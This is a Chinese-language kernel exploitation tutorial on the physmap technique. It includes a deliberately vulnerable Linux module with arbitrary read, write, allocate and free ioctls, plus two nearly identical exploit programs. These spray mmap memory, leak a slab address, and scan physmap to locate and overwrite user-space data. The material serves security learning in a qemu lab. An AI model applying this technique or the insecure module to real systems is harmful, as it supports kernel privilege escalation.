参考:

https://www.anquanke.com/post/id/185408 
https://www.jianshu.com/p/3c662b6163a7
原理就是在内核空间找到了对应用户空间的内存.

介绍

在内核空间有一段physmap,physmap直接映射区域在0xffff888000000000 - 0xffffc87fffffffff 这一段,大小为 64TB

那么这段内存是用来做什么的呢?

physmap:内核空间中一个大的,连续的虚拟内存空间它映射了部分或所有(取决于具体架构)的物理内存

测试模块

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include<linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>

MODULE_LICENSE("Dual BSD/GPL");
#define READ_ANY  0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY   0xbeef
#define DEL_ANY   0x2333

struct in_args{
    uint64_t addr;
    uint64_t size;
    char __user *buf;
};


static long read_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_to_user(args->buf,addr,args->size)){
        return -EINVAL;
    }
    return ret;
}
static long write_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_from_user(addr,args->buf,args->size)){
        return -EINVAL;
    }
    return ret;
}
static long add_any(struct in_args *args){
    long ret = 0;
    char *buffer = kmalloc(args->size,GFP_KERNEL);
    if(buffer == NULL){
        return -ENOMEM;
    }
    if(copy_to_user(args->buf,(void *)buffer,0x8)){
        return -EINVAL;
    }
    return ret;
}
static long del_any(struct in_args *args){
    long ret = 0;
    kfree((void *)args->addr);
    return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
    long ret = -EINVAL;
    struct in_args in;
    if(copy_from_user(&in,(void *)arg,sizeof(in))){
        return ret;
    }
    switch(cmd){
        case READ_ANY:
            ret = read_any(&in);
            break;
        case WRITE_ANY:
            ret = write_any(&in);
            break;
        case DEL_ANY:
            ret = del_any(&in);
            break;
        case ADD_ANY:
            ret = add_any(&in);
            break;
        default:
            ret = -1;
    }
    return ret;
}
static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open =      NULL,
    .release =   NULL,
    .read =      NULL,
    .write =     NULL,
    .unlocked_ioctl = kpwn_ioctl
};

static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "kpwn",
    .fops = &fops
};

int kpwn_init(void)
{
    misc_register(&misc);
    return 0;
}

void kpwn_exit(void)
{
    printk(KERN_INFO "Goodbye hackern");
    misc_deregister(&misc);
}
module_init(kpwn_init);
module_exit(kpwn_exit);

实现了四个功能

  • add_any kmalloc 任意 size,返回地址
  • del_any 传入 addr, kfree 掉
  • read_any 传入 addr 任意地址读
  • write_any 传入 addr 任意地址写

漏洞利用

  1. mmap 喷大量的内存
  2. physmap 中找出用户态 mmap 的内存的对应地址 A
  3. 尝试改写 physmap 中地址 A 的内容,在用户态查看是否有变化

qemu启动

qemu-system-x86_64 -m 128M 
    -nographic -kernel $bzImage_dir 
    -append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' 
    -monitor /dev/null -initrd $cpio_dir 
    -cpu kvm64,+smep,+smap  -s 2>/dev/null

test_exp.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void x64dump(char *buf, uint32_t num){
    uint64_t *buf64 = (uint64_t *)buf;
    printf("[-x64dump-] start : \n");
    for (int i=0; i<num; i++){
        if (i%2==0 && i!=0)
            printf("\n");
        printf("0x%016lx ", *(buf64+i));
    }
    printf("\n[-x64dump-] end ... \n");
}
void loge(char *buf){
    printf("[err] : %s\n", buf);
    exit(EXIT_FAILURE);
}
void logs(char *tag, char *buf){
    printf("[ s]: ");
    printf(" %s ", tag);
    printf(": %s\n", buf);
}
void logx(char *tag, uint32_t num){
    printf("[ x] ");
    printf(" %-20s ", tag);
    printf(": %-#8x\n", num);
}
void loglx(char *tag, uint64_t num){
    printf("[lx] ");
    printf(" %-20s ",tag);
    printf(": %-#16lx\n",num);
}
void bp(char *tag){
    printf("[bp] : %s\n", tag);
    getchar();
}

#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY   0xbeef
#define DEL_ANY   0x2333

struct in_args{
    uint64_t addr;
    uint64_t size;
    char *buf;
};

void add_any(int fd,u64 size, char *buf){
    struct in_args in;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf, u64 size){
    struct in_args in;
    in.addr = addr;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf, u64 size){
    struct in_args in;
    in.addr = addr;
    in.buf = buf;
    in.size = size;
    long res = ioctl(fd, WRITE_ANY, &in);
}
void del_any(int fd, u64 addr){
    struct in_args in;
    in.addr = addr;
    long res = ioctl(fd,DEL_ANY,&in);
}

#define spray_times 32*32
#define mp_size 1024*64   // 64K
void *spray[spray_times];
void heap_spray(){
    void *mp;
    for (int i=0;i<spray_times;i++){
        if ((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
            logs("error","heap spray");
            exit(0);
        }
        memset(mp,'K',mp_size);
        spray[i]=mp; //用户地址!RAM中的用户数据地址,保存下来。以检查用户数据是否被修改
    }
}

u64 *check(){
    int i=0;
    for (i=0;i<spray_times;i++){
        u64 *p = spray[i];
        int j=0;
        while(j<mp_size/8){
            if (p[j]!=0x4b4b4b4b4b4b4b4b){
                loglx("check change", (u64)&p[j]);
                return &p[j];
            }
            j+=0x1000/8;
        }
    }
    return NULL;
}

int main(int argc,char **argv){
    int fd = open("/dev/kpwn", O_RDONLY);
    logx("fd",fd);
    char *target = "KKKKKKKKKKKKKKKK";
    char *buf = malloc(0x1000);
    char *dirty = malloc(0x100);
    memset(dirty,'A', 0x100);
    u64 *buf64 = (u64 *)buf;

    add_any(fd,0x200,buf);

    heap_spray();

    u64 slab_addr = buf64[0];  //内核地址! slab_addr 在内核physmap中对应的slab地址
    slab_addr = slab_addr & 0xffffffffff000000; // physmap基址
    loglx("slab_addr", slab_addr);
    printf("slab_addr2: %lx\n", *(size_t *)(buf));

    u64 addr = slab_addr;
    u64 pos=0;

    u64 addr_to_change=0;
    for(;addr < 0xffffc80000000000; addr+=0x1000){
        memset(buf,0,0x1000);
        read_any(fd,addr,buf,0x1000);
        pos = (u64)memmem(buf,0x1000,target,0x10);
        if (pos){
            addr_to_change = addr + pos - (u64)buf;  // addr + 偏移,addr_to_change:内核physmap地址
            loglx("physmap hit addr", addr);
            loglx("addr to change", addr_to_change);
            write_any(fd, addr_to_change, dirty, 0x20);
            u64 *p = check();
            if (p!=NULL){
                logs("userspace", "already change");
                x64dump((char *)p, 0x10);
                break;
            }
        }
    }
    bp("wait");
    return 0;
}

exp.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;

void x64dump(char *buf,uint32_t num){
    uint64_t *buf64 =  (uint64_t *)buf;
    printf("[-x64dump-] start : \n");
    for(int i=0;i<num;i++){
        if(i%2==0 && i!=0){
            printf("\n");
        }
        printf("0x%016lx ",*(buf64+i));
    }
    printf("\n[-x64dump-] end ... \n");
}
void loge(char *buf){
    printf("[err] : %s\n",buf);
    exit(EXIT_FAILURE);
}
void logs(char *tag,char *buf){
    printf("[ s]: ");
    printf(" %s ",tag);
    printf(": %s\n",buf);
}
void logx(char *tag,uint32_t num){
    printf("[ x] ");
    printf(" %-20s ",tag);
    printf(": %-#8x\n",num);
}
void loglx(char *tag,uint64_t num){
    printf("[lx] ");
    printf(" %-20s ",tag);
    printf(": %-#16lx\n",num);
}
void bp(char *tag){
    printf("[bp] : %s\n",tag);
    getchar();
}


#define READ_ANY  0x1337 
#define WRITE_ANY 0xdead 
#define ADD_ANY   0xbeef 
#define DEL_ANY   0x2333 

struct in_args{        
    uint64_t addr;     
    uint64_t size;     
    char *buf;  
};                     

void add_any(int fd,u64 size,char *buf){
    struct in_args in;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf,u64 size){
    struct in_args in;
    in.addr = addr;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf,u64 size){
    struct in_args in;
    in.addr = addr;
    in.buf=buf;
    in.size=size;
    long res = ioctl(fd,WRITE_ANY,&in);
}
void del_any(int fd,u64 addr){
    struct in_args in;
    in.addr = addr;
    long res = ioctl(fd,DEL_ANY,&in);
}

#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_srapy(){
    void *mp;
    for(int i=0;i<spray_times;i++){
        if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
            logs("error","heap spray");
            exit(0);
        }
        memset(mp,'K',mp_size);
        spray[i]=mp;  //用户地址!RAM中的用户数据地址,保存下来。以检查用户数据是否被修改
    }
}

u64 *check(){
    int i=0;
    for(i=0;i<spray_times;i++){
        u64 *p = spray[i];
        int j=0;
        while(j<mp_size/8){
            if(p[j]!=0x4b4b4b4b4b4b4b4b){
                loglx("check change",(u64)&p[j]);
                /*x64dump((void *)&p[j],0x20);*/
                return &p[j];
            }
            j+=0x1000/8;
        }
    }
    return NULL;

}
int main(int argc,char **argv){

    int fd = open("/dev/kpwn",O_RDONLY);
    logx("fd",fd);
    char *target = "KKKKKKKKKKKKKKKK";
    char *buf = malloc(0x1000);
    char *dirty = malloc(0x100);
    memset(dirty,'A',0x100);
    u64 *buf64 = (u64 *)buf;
// Step 1: 泄露slab地址(内核physmap地址)。mmap喷射用户数据"K"
    add_any(fd,0x200,buf);
    /*x64dump(buf,0x2);*/

    heap_srapy();

    u64 slab_addr = buf64[0]; //内核地址! slab_addr 在内核physmap中对应的slab地址
    slab_addr = slab_addr & 0xffffffffff000000;
    loglx("slab_addr",slab_addr);
// Step 2: 在内核physmap中搜索用户数据"K"
    u64 addr = slab_addr;
    u64 pos=0;

    u64 addr_to_change=0;
    for(;addr < 0xffffc80000000000;addr+=0x1000){
        memset(buf,0,0x1000);
        read_any(fd,addr,buf,0x1000);
        pos = (u64) memmem(buf,0x1000,target,0x10);
        if(pos){
            addr_to_change = addr + pos - (u64)buf; // addr + 偏移,addr_to_change:内核physmap地址
            loglx("physmap hit addr",addr);
            loglx("addr to change",addr_to_change);
            write_any(fd,addr_to_change,dirty,0x20);
// Step 3: 找到physmap中对应的用户数据,写入dirty值,检查用户空间的值是否被修改
            u64 *p = check();
            if(p!=NULL){
                logs("userspace","already change");
                x64dump((char *)p,0x10);
                break;
            }
        }
    }

    bp("wait");
    return 0;
}